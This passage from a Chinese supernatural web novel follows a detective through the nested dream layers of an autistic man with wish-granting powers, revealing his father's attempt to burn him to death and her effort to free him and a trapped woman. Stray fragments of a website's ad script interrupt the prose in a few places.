罗莉娜的眼睛亮晶晶的:“我帮你,我该做什么?” 陈影笙的眼眶有些酸涩,她都快忘记,她进入何康怪谈的初衷是拯救阿苦。 她问:“出口在哪里?” “超现实没有出口。” 三次提问得到三个一模一样的回答,陈影笙有些挫败。她准备死马当活马医,拿着水回去找张晓娜。 “我需要水。” “水?”罗莉娜思考一会,她大笑,“我相信你是鱼。” 罗莉娜的两只手展开,如同灵动的鱼尾,她送上由衷的祝愿:“小鱼小鱼快快游,四面八方皆自由。” 陈影笙被浮力轻轻托举,变成一条包裹在水中的小鱼,乘坐泡泡一样的水团飞上天空。 地面上,罗莉娜在向她挥手告别。 陈影笙游回5楼何康的家。 “康康,你回来了!”张晓娜迫不及待地取走水团,继续忙着备菜,把何翠凤使唤得团团转。 “出口在哪?” “超现实哪来的出口?”张晓娜像是看小孩一样瞪了一眼陈影笙,“把那边的粉丝递给我。” 陈影笙没有递,她转身就走。 “诶,你这孩子!怎么还给我摆脸色?” 陈影笙根本不理睬她。 张晓娜突然发怒,她一把扯住陈影笙的衣服,不管不顾地撕扯目之所及的一切。 “你以为这么多年是谁在养你?”她额头上裸/露着一根青筋。 陈影笙回答:“讨债的人没说错,你们一家都是骗子。” 张晓娜笑了,她把头发捋至耳后: “我对待小孩子能说实话吗?我肯定能哄就哄能骗就骗。你看翠凤,被我骗了但也过的很好,没有我她早嫁给村里的老光棍了。” 何翠凤埋头削土豆,像是没听见张晓娜的话。 陈影笙一脚踹翻装土豆的铁盆,把何翠凤拉起来。 她毫不客气地评价张晓娜:“就算何康没有自闭症,是个好好的人,他也能被你折磨疯了。” 张晓娜大吼:“那你们去生啊!等你有了孩子你肯定也这么对他!” 陈影笙假惺惺道歉:“那可真是对不起,自闭症何康没有供你哄骗的价值。” “何康当年怎么没死呢?”张晓娜喃喃地说,“死在那场火里......” “什么火?” 陈影笙敏锐捕捉到关键字,张晓娜正准备说下去,却被突然闯进来的何大勇打断。 “何康!”何大勇一刀砍在厨房的门板上。 陈影笙眼疾手快迅速锁门,但薄薄的木门支撑不了太久。 她问何翠凤:“出口在哪?或者有什么脱离这里的办法吗?” 何翠凤茫然摇头。 “砰!” 何大勇第二刀砍透木门,刀刃离陈影笙不到十厘米,菜刀深深嵌进门板。 何大勇从被汗湿的头发下抬起满是赘皮的眼睛:“我那天带你去医院,不但查了发育,还查了你是不是我亲生儿子。” 陈影笙透过被砍出的缝隙直视他的眼睛。 “咣!” 何大勇一拳捶上木门,木刺扎进他的手掌,他恍若未觉。 “你是啊!你是我儿子!你为什么是我儿子?” “我一个男的为什么有你这样的儿子?有病就算了,连个孩子都留不下来!” 陈影笙冷漠地看着他扭曲的面孔:“你做男人前先做个人吧。” 张晓娜在她背后哽咽:“那你说我们该怎么办?我们有哪里对不起你?” “你家肯定有自闭症补贴,钱为什么不拿来给何康治病矫正?”陈影笙问。 “钱给你花了就能治好吗?”张晓娜流下眼泪。 陈影笙无言以对。 她真的无法回答这个问题。 当一个人没有切身经历过他人的痛苦,所有语言都是苍白无力的。 何大勇拔出卡在门板上的菜刀,疯狂向门锁砍去。 张晓娜哭着笑着看着这一切,她像是在期待丈夫破门而入砍死自己的儿子。 陈影笙一把抓住张晓娜:“当年的大火是什么?” 伪人女孩的烧伤绝对来自大火。 张晓娜不说话,陈影笙果断对何翠凤说:“许愿。” 何翠凤茫然地看她。 “许愿,许下和你第一次许愿时相同的愿望。” 泪水盈满何翠凤的眼眶。 何翠凤低下头,不敢看陈影笙的眼睛,她低声说: “我完全把你当成妹妹,希望你是一个健健康康的小女孩,你去上学我来接你回家,我们在放学路上一起讨论回家吃什么。” 门外传来最后一声巨响,何大勇砍坏门锁,握着卷刃的菜刀冲进厨房,他脸上挂着扭曲的笑容。 陈影笙抬起头。 何翠凤许愿成功,她变成伪人女孩。 伪人女孩烧伤后无法愈合的嘴角似乎被无形的力量牵引,固定成一个既不欢乐也不悲伤的怪异弧度,仿佛是对世间万物的嘲弄,又似是对自身命运的接纳。 看清伪人女孩后,何大勇的菜刀掉到地上,他的脸上浮现出一种生理性恐惧。 大火吞噬一切。 陈影笙被火舌卷起抛向高空,她和火海尽头的小何康遥遥对视。 那是真正的何康,怪谈的主宰。他不位于荒诞恐怖的非现实,也不位于以假乱真的基准现实,更不愿在痛苦的超现实层停留,他在...... 小何康身边围绕着胶片般的碎片,碎片里的他是婴儿是天才也是伪人女孩。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他站在自己的记忆中。 陈影笙向胶片堆叠的山脉坠落,她一头扎进灰黑色的记忆。 她看见婴儿何康躺在木质小床中,他不哭不闹,呆呆地看着天花板。 张晓娜和何大勇在客厅支了张桌子,和朋友们抽烟打麻将。 婴儿何康得不到外界的任何回应,他认为世界上没有别人,只有自己。 别的婴儿会哭会笑会被抚摸会被拥抱,但何康的世界中只有油腻腻的天花板。 等何康从婴儿长成能爬能走的儿童,张晓娜和何大勇突然摇身一变成为三好母亲与正经的社会人士。 何大勇四处借钱做起自动贩卖机的生意,张晓娜在超市找了个收银员工作。 原因无他,何康是上过电视节目的小天才,他3岁认2000个汉字,5岁能背500首古诗,谁都说他将来会成为科学家。 这时的何康虽然不爱说话,呆呆的像个小机器人,但远比之后蜷曲双手一言不发的样子好很多。 科学家嘛,智商高的天才,多多少少有些古怪,大家都能接受。 转眼间,何康8岁了,他在学校没有朋友,他回家甚至不和父母说话,可他对数字的敏感渐渐展现出来。 一位有经验的老师建议何大勇带何康去测测智商。 老师说话相当委婉:“何康是个很有天赋的孩子,老师们都觉得他很聪明,可以测智商的同时再看看别的。” 何大勇西装革履地带着何康去了医院,他认为孩子即使有病也是传说中的天才症,那些老师都在嫉妒他。 医院里,一名医生做量表,另一名医生给小何康做检查,最终得出一个初步结论: “没有眼神交流,无法回应别人的呼唤,拒绝沟通,语言理解困难,很可能是自闭症,再去拍个片子做个脑电图吧。” 何大勇愕然:“怎么可能?他从小记忆力超群,数学也学得特别好!” “部分自闭症是这样的,擅长机械式记忆,对数字敏感。” 小何康突然对着窗外高举双手,手舞足蹈起来。 年轻医生耐心地说: “你看,这是典型的蝴蝶手,是一种重复刻板行为。他无法表达自己的情绪,只能通过把双手举高像蝴蝶一样摇晃来替代正常的笑或哭。” 何大勇觉得何康在装病,他一脚踹上何康的屁股,扯破嗓子大吼: “医生越说你越来劲!还搁这儿装上了!是不是以为病了就不用上学?” 医生制止他:“家长你注意点!这里是医院,不要动手打孩子!” 何康被当众踢趴下,却不哭不闹,他慢吞吞爬起来,从刚刚的情绪中脱离了。 他们的动静引来了科室主任和附近的护士保安,众人围拢过来。 何大勇略微慌乱,但他很快心生一计。 他指着刚刚制止他的年轻医生:“你是不是为了赚钱才这么说?” 年轻医生一脸诧异。 何大勇向年长的主任告状: “你是她领导吗?你们医院这么不要脸?为了赚我的血汗钱,让我儿子去做一堆乱七八糟的检查,告诉你,我不是傻子,片子我才不拍!” 年轻医生从没见过这么不要脸的人,她从看何康挨打起积攒的火气就要爆发出来,被主任拦下。 主任说:“一般的自闭症从婴幼儿时期会显现出来,越早干预效果越好,你家孩子多大了?” 何大勇愣住:“8岁了,婴儿还能自闭?” 主任慈祥地笑了笑,替小何康掸掉裤子上的灰色脚印,她问何大勇:“你听说过悬崖实验吗?” 67. 悬崖实验 悬崖实验是用来研究婴幼儿深度知觉的一种实验。 先在地面上铺一层平坦的特质格子布,从视觉上看前半段是地面,后半段是悬崖。 再把孩子放在地上,抚养者站在悬崖那边。 当孩子爬到平坡与悬崖的交界点时,正常孩子会停下来,观察抚养者表情,根据抚养者表情判断是否该爬过去。 自闭症孩子不会去看抚养者,或无法从抚养者的表情中获得线索。 他们会直接爬过去,甚至干脆在交界点永远停下来。 年长的主任讲实验过程像是在讲故事,她的平和让何大勇闹不起来。 主任问:“何康小时候有什么特殊表现吗?” “表现?”何大勇笨拙地挠挠下巴,“不怎么爱哭,很省心。” “他哭闹的时候你们会回应他吗?比如检查一下是不是该换尿布,或者孩子是不是饿了。” “没有。”何大勇在打麻将,他怎么可能回应何康。 他为自己辩解:“我们农村人孩子养得糙,要是他一哭闹就立刻关心他,那不变成看他脸色活着吗?倒反天罡了!我们做父母的还要看小孩脸色生活?” 主任摇了摇头:“所以他的婴幼儿时期人神分离,这种伤害不可逆。” 何大勇急了:“那主任您看,我的孩子是自闭症吗?” 主任微笑:“我们只能做一个初步诊断,进一步诊断可以去上级医院。” “我们拍片子——” “可以不拍。”主任打断他,“到上级医院再拍。” 主任脸上慈祥的微笑凝固成面具,周围的医生、护士和保安隐隐把何康和何大勇隔开,怕何康再挨打。 饶是何大勇这么不要脸的人,他都能感到自己不受欢迎。 他灰溜溜地带何康回家。 之后他不死心,又带着何康换医院就诊,得到一模一样的结果——何康患有自闭症。 画面一转,里王里昏暗的5楼家中,何大勇瘫沙发上抽烟,张晓娜在给何康洗脸。 “我给康康买了保险。”何大勇掐灭烟头郑重地说。 张晓娜赶紧挡住何康的视线:“你说什么呀?孩子还在呢!” 何大勇突然发怒:“买保险怎么了?买保险为什么不能说?” 张晓娜面色惨白。 “嘿嘿。”何大勇得意地笑了,“你也是这么想的吧?” “想什么?” 何大勇狠狠地说:“我在想什么你就在想什么,别他/妈装。” 屋内一片寂静,张晓娜不说话了。 许久,她才低声哀求:“别当着孩子的面说。” “我说了,我就说!他听得懂吗?他像个听不懂人话的畜生!” 畜生两个字跟随唾沫星子一起喷出来,何大勇又点燃一根烟。 “放在过去,死个小孩多正常。我姥姥的妹妹烧得只剩最后一口气,被她妈放在地上,说接接地气就能治好。” 他吐出一口白雾,惆怅的语气中暗含得意:“最后还不是死了,死个女孩谁会多问?” “我吃的转胎丸。”一直不说话的张晓娜突然说。 何大勇来了精神:“对啊,你拼命吃药才让他活下来,要不然他早被打掉了。” 张晓娜幽幽看着儿子。 “我们已经够对得起他了。”何大勇说,“谁也不欠他,我们问心无愧。” 张晓娜紧紧抿着嘴唇。 最终,她问:“命不好的为什么是我们,不是别人?” 何大勇无法回答她。 面无表情的小何康坐在板凳上仰望他的父母。 他像是一只被蛋囚禁在壳中的鸟儿,明明能感知到所有事物,却和世界没有交互,只能充当一架忠实的摄像机,记录自己来人世间经历的苦难。 第二天,何大勇带着何康去郊外立交桥下的一个偏僻村庄钓鱼。 何大勇边钓边哭,哭到半截狠狠扇自己一巴掌。 他是一个狠毒却不够狠毒、懦弱却不愿懦弱的男人,连他自己都厌恶自己。 何康不知道他为什么哭,或许他连哭这个行为都无法理解。在他贫瘠的世界里,所有感情都可以用举起手舞动来表示。 “康康......”眼泪和鼻涕糊满何大勇的脸。 水面上,浮漂下沉鱼线抖动,有条大鱼上钩了。 何大勇忍住眼泪,先把鱼钓上来。 把鱼钩从鱼嘴上摘下的过程中,他的手指受伤了。 不管何康听不听得懂,他像背台词一样,机械地说: “康康,爸爸的手指受伤了,得去村里的卫生所做个包扎,你能先去那边的小屋等爸爸吗?” 水塘边有个供养殖户休息的小木屋,门没有锁,唯一的家具是简陋的矮床。 何大勇蹲下身:“康康,和爸爸一起做个实验吧。” “这个实验,叫悬崖实验。” 何康举起双手,如蝴蝶般舞动。 何大勇怔住了,他肿起的眼皮下第一次亮起一道光,他以为自己的话语得到回应,但那道光很快熄灭了。 他闭着眼睛说:“你在屋子里,爸爸在河对岸。你观察爸爸的表情,如果感觉爸爸脸上的表情是惊恐、焦急,你就赶紧从屋子里逃出去。” 何康放下双手,直直地站在小屋里。 “如果不想逃出去。”何大勇从怀里拿出一张白纸和一支铅笔,“就写数字吧,从1写到500,写完后爸爸会回来接你。” 一缕黑烟从打火机旁慢慢冒出来,如同灯神出来面见阿拉丁。 何大勇转身离开,没有回头。 也没有如他自己所说站在河对岸停留。 他径直向村子走去,去找那个不知道是否存在的卫生所。 人们都说水可以洗涤一切,但总忘记火才能把源头一起烧毁。 火苗吞噬木头打造的矮床,再一口咬上何康的小腿。 何康直直地站在原地,像一尊雕塑。 小屋化为火海。 “着火了!着火了!” 村落本就偏僻,水塘比村落更偏僻,等冲天的大火冒着黑烟窜上天际,人们才发现火情。 村里人与何大勇赶到时,小屋燃烧得像个火炬,他们赶忙灭火,黑黢黢的小屋烧到只剩地基。 不为人知的谋杀在黄昏中涌动,始作俑者没有成功的喜悦,他闭上眼睛默默许愿。 然后他按照脑海中排练无数次的动作,跪倒在地上痛哭流涕:“康康啊——” 鼻涕回流进气管,何大勇的血液凝固了。 他看见一个全身重度烧伤的长发小女孩站在废墟中央。 女孩的嘴唇被整个烧光,嘴角不自然地上扬着,带着血迹与血痂组成一个恐怖荒诞的笑脸,仿佛在嘲笑他,嘲笑世间的一切。 “鬼啊!” 村里来帮忙的人吓得扔下水管就跑。 笑脸女鬼短暂停留在人们的视网膜上,转眼间,身上沾了点灰尘的何康立在废墟中。 () { $(''.inform'').remove(); $(''#content'').append('' 何康垂着双手,面无表情地站在原地,像一尊供人许愿的雕像。 下一个前来许愿的是张晓娜。 里王里充满豆油味的家中,张晓娜悄悄对何康说:“康康,我怀了弟弟。” 何康闷头画画。 “但是现在不要告诉爸爸,今晚之后才能告诉爸爸哦!” 最后一个字尾音上扬,张晓娜抱着肚子咯咯咯地笑,像一只老母鸡。 老母鸡问:“康康,弟弟叫善善怎么样?” 何康拿起蜡笔。 “你同意啦?真是个好孩子!”老母鸡很高兴,“和妈妈一起许愿,许愿善善是个健健康康的孩子吧!” 何康举起双手疯狂舞动。 张晓娜咯咯大笑。 舞动双手的何康变成伪人女孩,她和何翠凤走在回家的小路上。 何翠凤激动地用手机记录自己第一次主动激发何康的超能力。 她相信何康是自己的妹妹,许下一起放学回家的微不足道的愿望,愿望被伪人女孩迅速满足。 伪人女孩像个普通的小孩,踩着夕阳追逐何翠凤的影子。 一切都和伪人测试中的视频片段一模一样。 录完视频,何翠凤蹲下握住伪人女孩的肩膀,她声音柔和: “康康,我一直把你当成我的神明。” 快乐的伪人女孩抬头看她。 “我希望自己能有好多好多钱,然后遇见真心爱我的有才华的帅哥,我还会生下一个健康聪明的男孩,我要过幸福且没有烦恼的一生。” 何翠凤期待地平视伪人女孩。 伪人女孩举起双手,开始手舞足蹈,她变回呆滞臃肿的何康,何翠凤失望地叹气。 叹气声被加速,记忆构成的老电影被按下快进键。 何康迅速长大,他在商场里扮演人偶被小孩子拳打脚踢,他在印刷厂的会议室里被同事喂纸取乐。 但他对此没有任何反应,或许有反应,但只能靠举起双手胡乱舞动来表达。 陈影笙从灰黑色的胶片中挣脱出来。 她看见变成伪人女孩的何康坐在水塘边的小木屋中写数字,刚写到159。 封闭的小木屋没有窗户也没有门,何康像是准备在这里永远写下去。 “何康。”陈影笙问,“怎么解除你的超能力?” 何康不理睬她。 她环顾四周,突然意识到一个恐怖的事:何康不想出去,她也无法出去。 陈影笙抢过何康手里的纸,逼迫何康看她。 她诚恳地说:“何康,你被何翠凤利用,有一个叫阿苦的人快要被你的超能力杀死了。” “请你救救她,她是一个勇敢坚毅的好人,你见过她的女儿。” 何康木然注视着她,眼睛里没有她的影子。 陈影笙深吸一口气,她许愿:“何康,我相信你是伪人女孩,我许愿解除阿苦身上的超能力。” 何康不为所动,愿望没有被实现。 焦急慢慢转变为绝望。 陈影笙再次许愿:“何康,我相信你——” 一束洁白的光穿透小木屋的屋顶,陈影笙被白光摄住,全身颜色慢慢变浅,将要脱离这个世界。 是万花筒外的人。 他们在用手电筒照现实中陈影笙的眼睛,想把她强制唤醒。 何康终于有了反应,她抬起铅笔,轻轻截断那道光。 陈影笙读懂了何康的意思。 留下来陪我。 68. 杀穿叙事层 下一秒,白光填满整个木屋,陈影笙被迫闭上眼睛。 屋顶像罐头一样被掀开,她整个人被倒出去。 万花筒外的人想用强制下坠的方式把陈影笙唤醒。 何康不急不缓地从虚空中抽出一张纸,她抬起手腕,一个简笔画太阳垫在陈影笙下方。 陈影笙直直掉进太阳,身上沾满红色的颜料,她手里还握着从何康那里抢来的纸,上面同步出现了太阳。 海浪声在她耳边响起。 陈影笙低下头。 大海把她脚下的天空撕裂出一条缝隙,汹涌的海水奔腾涌入。 万花筒外的人想用强制窒息的方式把陈影笙唤醒。 头顶是倒悬的小木屋,脚下是咆哮着追逐她的滔天巨浪,陈影笙大喊: “够了!我不出万花筒,还没找到救阿苦的办法!” 万花筒外的人不愿她被永远留在这里陪何康,海水不停歇地从天际线灌入,何康再次落笔。 陈影笙紧紧盯着手里抢来的纸。 不用她看,落在纸上的简笔画即刻生效。 小小的木屋平地拔高,超现实中的火焰席卷至记忆层,直直撞上倾覆而来的海水。 双目赤红的何大勇傻傻地跟着火焰一起被扔过来,他周身的黄红色块像番茄炒蛋。 陈影笙向他伸出手。 何大勇激动地等待救援。 陈影笙把他的菜刀抢走了。 转瞬间,两个层面的火与水轰然相撞,高温水蒸气弥漫开来。 在陈影笙接触到水蒸气的前一秒,平地拔高的木屋追上她的高度,把她安置在简陋的木床上。 何康高举双手,手舞足蹈起来。 陈影笙叹气。 她理解万花筒外的人焦急地要救她出去,但她实在无法怪罪想将她永远留在这里的何康。而且她还记得,她进入万花筒最初的目的是救阿苦。 陈影笙温柔地说:“我不会离开。” 何康放下双手,她的眼睛第一次映入陈影笙的影子。 “何康,我相信我们是能够互相理解的好友,我想回到最下层叙事,万花筒外的人干扰不到那里,他们永远无法把我唤醒。” 愿望被满足,陈影笙带着纸和刀无限下坠。 海水中生出庞大的鲸,它用左絮飞的声音呼喊: “陈影笙!睁眼,我们用别的办法救阿苦!别再从何康身上找办法了,你会被她永远留在万花筒里!” 陈影笙笑着摇头,吐出几个泡泡。 她一层层下坠,失去火焰的超现实、以假乱真的基准现实和陈列尸体的对称层在她眼前一一闪过。 终于落进荒诞恐怖的故事层,家中柔软的床铺稳稳接住她。 躯干泰迪在床下散步,女人的脸皮躺在枕边,温馨的家里一切如故。 陈影笙放下菜刀和纸,开始梳理整件事的始末,她要找到救阿苦的办法。 首先是她所在的叙事层,姑且叫它故事层。 故事层诞生自上一层的何康笔下,是何康创造出来攻击上上层何康的武器。 它是最底层叙事,充满了荒诞恐怖的怪物,没有丝毫真实感,被陈影笙早早发现是虚构的故事。 上一层何康对这里完全掌控,整个世界没有逻辑,一片混沌。 第二层是拥有两个里王里的对称层。 对称层何康是现实层何康想象出的虚拟人物,但他掌握了对抗上一层叙事的武器,把他的创世神杀死,并篡夺了神明的创作权限。 他创作两个伪作者,把他们安插在两个里王里,他们分别是作为男性正常老去的看门大爷和作为女性正常工作的公寓管理员。 第三层是一切叙事层的基准现实,它无限接近于现实世界,可现实层何康已被他想象出的何康杀死。 第四层是抽象的超现实火海层,它是何康的梦魇,比下面三个叙事层真实,真实到对标基准现实的陈影笙无法用自己的视觉系统完全加载里面的人物。 第五层是最上层,充满灰黑色记忆,真正的何康居住在这里。 对其它层面来说,最上层是造物主居住的天堂;对何康本人来说,最上层是用来自我囚禁的木屋。 何康在最上层能用画笔影响所有事物,她在这里是战无不胜的,连万花筒外的力量也无法干预她。 她甚至能影响真实层,操控真实层的超能力刑警们套出幻忆师的真实姓名。 陈影笙望着面前的刀和纸,慢慢构思出一个计划:她要从下到上,一路杀到最上层的何康面前,强迫何康破壳而出。 陈影笙拿起菜刀,从超现实带回的菜刀是跨越叙事层的武器。 她第一个杀死的是闭着眼睛的贝雷帽企鹅,同时,她在纸上写下第一个故事: 【投资失败的何大勇不得不拿自动贩卖机抵债,贩卖机如果真如恐怖故事所写,拥有自己的意识,恐怕也不愿被这样的男人买来卖去。 何康,你的父亲不爱你,不要沉溺于被他谋杀未遂的过去,你自己远比一个不爱你的父亲重要。】 陈影笙不讲恐怖故事,何康不需要什么故事,何康需要直面尖锐的现实。 拎着菜刀出门,陈影笙撞见没有眉毛的碎花棉服,老太太勤勤恳恳地用尸体搭窝棚。 陈影笙一刀砍上去。 第二个故事: 【里王里固执邋遢的老人们令人厌恶,他们竭尽所能地占小便宜,把环境搞得一团糟。 可他们即使深陷抽象的超现实火海层,也愿意对我伸出援手。 何康,人是具有多面性的,人是最善变的生物,他们时而是黑色时而是白色。 大多数时间他们是灰色的,你必须亲自降临现实,看看那些灰色的、拼尽全力生活的人们。】 陈影笙拖着滴血的菜刀来到大商场,先砍死不停扭动的白色动物,再来到熟悉的印刷厂。 拥有名字的主管正在开全体职工大会,陈影笙在所有人的注视下走上讲台,挥刀砍向唾沫横飞的主管。 第三个故事: 【人们大都厌恶工作,也厌恶有毒的人际交往。但人是社会性动物,人需要和人交流,也需要工作赚钱养活自己。 并不是每一份工作都令人难受,有人能通过工作实现自我价值,获得快乐和收获。 何康,从蛋壳里出来,亲自去看看那些工作中的人。工作会把人异化,但人也需要工作。 不要抗拒自己的内心,你创造出的两位伪作者都拥有工作,你期望正常工作养活自己。】 沐浴鲜血的陈影笙和职工们挥手告别,她乘坐电梯到达500楼,跃迁到对称层。 她把两个里王里中何康的家人全部杀死,放火烧掉159张太阳纸。 第四个故事: 【你的家人曾经爱过你,现在却憎恨你,那不重要,你自己本身才是最重要的。 何翠凤最初的许愿为你而发,你爱她依恋她,把她当成亲姐姐。 但何康,人是会变的。何翠凤发现你无法满足她贪婪的愿望后,她利用你做了违法的事。 不要再依恋她了,她不是你想象中的姐姐。】 陈影笙终于来到公寓管理员面前。 她评价:“你不像一个何康。” “是吗?”公寓管理员不置可否,她把手里的登记簿递给陈影笙。 上面只写了一句话:何康,我想出去。 陈影笙叹气。 第五个故事: 【是男人是女人其实无所谓,做男人做女人前必须先做人。 你的父母靠外力干扰性别,他们给你带来了痛苦。 何康,你可以是男人,也可以是女人,你是一个快乐健康的人。 公寓管理员说她想出去,你也想出去吧?】 陈影笙走到花圃中央,用花瓣掩埋无头尸体。 第六个故事: 【能应许愿望的超能力者不该被万人践踏。 何康,你不是许愿机器,你的超能力应为你所用,不该被别人利用。】 陈影笙乘坐1716电梯来到现实层,她正被全市通缉,通缉令上写着她是杀害何康的嫌疑犯。 第七个故事: 【鸟奋争出壳,蛋就是世界。谁若要诞生,就必须毁掉世界。 何康,破壳而出吧。 你不是一无所知,你拒绝了张晓娜的愿望,因为你隐约猜到她肚子里的何善不是你父亲的孩子。 你怕何善把你的家庭变得支离破碎,也怕何善无法面对患病的哥哥。 你拒绝了何翠凤的愿望,因为你怕何翠凤离你而去,她是唯一一个为你许愿的人,你爱她依恋她,无法想象没有她的世界。 () { $(''.inform'').remove(); $(''#content'').append('' 何康,不要再当你的创世神了,化作飞鸟进入现实世界吧。】 满身血迹的陈影笙坐在街边,一脸严肃的王锐斌带着左絮飞向她走来。 她在被逮捕前写下第八个故事: 【很抱歉,我像个爱说教的中年人,但愿你能读到这里。 现实它尖锐如刀,比任何故事都恐怖。 认真阅读完七个故事的何康终于看到第八个故事,何康在最上层叙事外与陈影笙会面。他们意念相连,代价是何康的超能力暂时失效。】 真实层的左絮飞将手铐拷在陈影笙手上。 陈影笙笑着告别:“谢谢你提醒我出去,再见。” 她带着写满字迹的纸和砍到卷刃的刀站在一片空白中。 何康来到她的刀下,引颈受戮。 陈影笙愕然。 “你在想什么?我不是来杀你的。” “你很危险,拥有所信为真的超能力,却患有严重的自闭症,你像是握着核/弹开关的婴儿。” “我不得不承认,杀死你是最安全最保险的办法,但我不会那样做。” 【杀死我,我不想活。】 以伪人女孩形象存在的何康依旧无法开口说话,但她的想法能直接呈现在陈影笙的脑海中。 “原来你是这样想的。”陈影笙恍然大悟,“所以无头尸体才被放在花圃中供万人践踏,还被当做跃迁的锚点。” 陈影笙把刀藏到背后,她狡猾地说:“我不要。” 【那么你将永远留在这里陪伴我。】 “你不会的。” 陈影笙抱膝而坐,她叹息:“你从来不是什么自私的创世神,你主宰怪谈世界,但也给世界留了后门。” 何康安静地注视她。 “还记得差点被火海烧死的白发少女吗?” 何康举起双手疯狂舞动,陈影笙知道,这是在表达焦虑,聪明的何康已经猜到她要做什么。 第五条规则: 5【被烧毁】 被烧毁的不是“5.规则”,5这个数字是规则的一部分。 从1数到500可以解除超能力。 陈影笙开始数数:“1,2,3——唔!” 何康捂住她的嘴。 陈影笙笑了,何康呆呆地看着她。 “你看,何康,你现在多么像一个健康的女孩。” “破壳而出吧,直面现实吧,世界上不仅有我陪伴在你身边,还有千千万万个人,你从来不孤独。” 【我做不到。】 “那就不去做。” 何康糊涂了,眼前的人刚刚还在劝她直面现实。 “我要许愿。”陈影笙冷不丁说。 【在这里我没有超能力。】 “我知道,所以我才要许愿,你不是许愿机,我也不想把你当成一台许愿机。” “何康,最初的许愿只是为了许愿本身,人们追寻心理寄托,表达自己的期望,没人想过愿望真的会有神明来实现。” 【那不是祝福吗?】 “是的,就是祝福。”陈影笙温柔地笑了。 她闭上眼睛,许下真挚的愿望: “我相信何康就是何康,他可以是男孩,她也可以是女孩。TA可以封闭自我,但不会被痛苦困扰。TA也可以破壳而出,拥抱真实的世界。” 第一次,也是唯一的一次,何康不靠蝴蝶手表达情绪。 陈影笙在何康烧伤毁容的脸上看到了明显的困惑、感动和诧异。 所有情绪混杂在一起,她像是一只刚出壳的小鸟,激动地用手抚摸着自己的脸,喜悦地感知一切。 “何康唯一的任务是成为TA想成为的人。” 陈影笙睁开眼睛。 眼泪从何康无法合拢的眼皮中溢出,她看上去有些不知所措。 陈影笙笑了,她问出一个计划之外的问题: “何康,剑侠把你藏在哪里?” 【我在世界之外的——】 异变突然发生。 躯干泰迪从陈影笙的袖口跳出,以不可思议的速度冲向何康,一口咬住他的头颅。 “世界之外的哪里?躯干泰迪又是什么?” 【它是......超能力的真相】 怪谈的主宰被吞噬,怪谈世界完全瓦解,陈影笙离真相仅差一步。 69. 后遗症 “为什么不在我们的帮助下强制离开万花筒?” 陈影笙醒后先面对生气的老王。 她尝试为自己辩解:“第五条规则——” 老王打断她:“你能确定第五条规则必然和你推理的一模一样吗?” 陈影笙很想回答能确定,她对自己就是这么自信。但老王气得像只河豚,她老老实实摇头,不敢多说话。 老王快气死了:“你真是无组织无纪律,你进万花筒前我怎么和你说的?你在里面......” 李颖赶紧说:“救人要紧,阿苦还在等着。” 诞江市安定医院的住院楼被左絮飞毁了整整一层,病人被转移到其它医院,阿苦由于情况特殊,直接在超管局里给她开辟一个病房。 罗莉娜陪在她身边。 在所有人期待的目光下,罗莉娜开始数数。 从1数到500只需要8分钟,短短的8分钟却是所有人共同努力6天的结果。 病床上的阿苦眼皮微微抖动。 所有人都屏息凝神地注视她。 阿苦慢慢睁开眼睛,她迟疑着说:“......莉娜?” 罗莉娜激动地握着阿苦的手,语无伦次地说了很多话。 直到安定医院的护士把她请走。 陈影笙和左絮飞站在落地窗前聊天,发现她后立刻向她招手。 现在是黄昏时分,整个世界被晚霞覆盖,暮色镀在他们身上。陈影笙锐利如剑,左絮飞坚毅如塔,没有人能和“温柔”两个字沾边。 但罗莉娜就是觉得,橙红色晚霞下的他们温柔得像是天边下沉的夕阳。 她走过去,先道谢:“谢谢你们,谢谢所有帮助我们的人。” 左絮飞笑了:“不要道谢。” 就像王锐斌告诉罗莉娜不要道歉。 “这是我们职责范围内应做必做的事情。” 罗莉娜低头看着鞋面,她鼓起勇气说:“我看过一小段何逢翠,不对,是何翠凤的视频。” “那个角度不像监控,更像亲身经历,是不是有可以读取人记忆的超能力?” “我不知道。”陈影笙是个狡猾的大人,“我只是个普普通通的侦探。” 高中生罗莉娜知道这是间接的承认,陈影笙不能对她说出事实。 左絮飞建议:“既然这么想知道,为什么不回去读书考警校试试?” “诞江警察学院新设的专业,叫超能力犯罪学。” “我......不是,我不是很想知道。”罗莉娜低声问,“你们看过我妈妈的记忆吗?” 陈影笙猜到罗莉娜想问什么。 罗莉娜抬起头:“阿苦她,是不是根本没想过要孩子?” “她没说想不想要。” 沉默的左絮飞动了下身体,紧张地看着罗莉娜。 “但她说,她想做一颗大树。”陈影笙笑了,“莉娜,她的愿望从生下你的那刻起就已经实现了。” 泪水从罗莉娜的眼眶中滚落而下。 左絮飞抗议:“喂,你把人弄哭了。” “别哭,坚强点。”陈影笙不安慰她,“之后还有很多问题需要你解决,阿苦的身份是第一个难题。” 罗莉娜真的不哭了,她茫然看着陈影笙。 陈影笙耐心说:“阿苦不是我国公民,她冒用别人的身份生活多年,这个问题必须解决。” “怎么办?” “这方面我不是专家,给你介绍一位律师,你找他试试吧。” 陈影笙把诸葛焱淼的电话给她。 “不要着急,所有的一切都会慢慢变好。” 罗莉娜拿着电话号码先离开。 陈影笙靠在落地窗前,望着超管局门口黑压压的媒体。 媒体们仿佛鬣狗,他们自发地将诞师大传染性精神病和市安定医院的激烈战斗联系在一起,笃定这些事件都和伪人测试有关。 楼下出现几名警员疏散人群,媒体的长枪短炮立刻对准他们。 “自闭症患者被掳走,目前有没有锁定嫌疑人的范围?” “能否透露一下患者父母被拘留的具体原因?这是否会影响到对自闭症患者的搜寻工作?” 陈影笙才想起来,何康的父母还在拘留所关着,何翠凤的诗也一直没找到机会让懂的人看看。 她问:“何大勇和张晓娜在哪?” “还在审讯室里,他们一听到何康被掳走,先是控制不住地狂喜,然后又有点惆怅,惆怅没多久迅速借此为自己脱罪。然后突然说儿子被掳走是我们的责任,又哭又闹地要赔偿。” “这一套演下来够累的。”陈影笙由衷感慨。 “万花筒中经历的一切能作为证据。”左絮飞说,“老王已经联系上刑侦支队了,他们会接手何大勇张晓娜谋杀亲子案。” 案子不涉及超能力,不归超管局管理,但他们夫妻必然会受到应有的惩罚。 何康还是下落不明。 陈影笙有些低落,她最后离真相仅一步之遥。 左絮飞安慰她:“你为何康、为阿苦做的足够多了。” 陈影笙知道他想说什么,但她需要的不仅是对受害者的真相,她还需要一个冥冥中的、庞大的、没有起源的真相。 她连自己需要的真相是什么都不知道。 